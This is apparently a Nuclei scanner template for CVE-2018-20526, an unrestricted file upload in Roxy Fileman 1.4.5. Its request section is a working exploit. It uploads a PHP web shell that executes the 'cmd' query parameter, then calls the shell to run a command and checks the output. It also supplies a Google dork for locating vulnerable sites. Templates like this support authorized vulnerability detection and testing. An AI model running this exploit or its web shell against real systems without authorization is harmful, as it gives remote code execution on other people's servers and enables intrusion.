id: CVE-2018-20526

info:
  name: Roxy Fileman 1.4.5 - Unrestricted File Upload
  author: DhiyaneshDK
  severity: critical
  description: |
    Roxy Fileman 1.4.5 allows unrestricted file upload in upload.php.
  reference:
    - http://packetstormsecurity.com/files/151033/Roxy-Fileman-1.4.5-File-Upload-Directory-Traversal.html
    - https://www.exploit-db.com/exploits/46085/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20526
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20526
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-20526
    cwe-id: CWE-434
  metadata:
    google-dork: intitle:"Roxy file manager"
    verified: "true"
  tags: cve,cve2018,roxy,fileman,rce,upload,intrusive,packetstorm,edb

requests:
  - raw:
      - |
        POST /php/upload.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary20kgW2hEKYaeF5iP
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}
        Accept-Encoding: gzip, deflate
        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

        ------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="action"

        upload
        ------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="method"

        ajax
        ------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="d"

        /Uploads
        ------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php7"
        Content-Type: application/octet-stream

        <?php
        echo exec($_GET["cmd"]);
        ?>

        ------WebKitFormBoundary20kgW2hEKYaeF5iP--

      - |
        GET /Uploads/{{randstr}}.php7?cmd=echo+"roxyfileman"+|+rev HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    redirects: true
    max-redirects: 2
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "namelifyxor"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200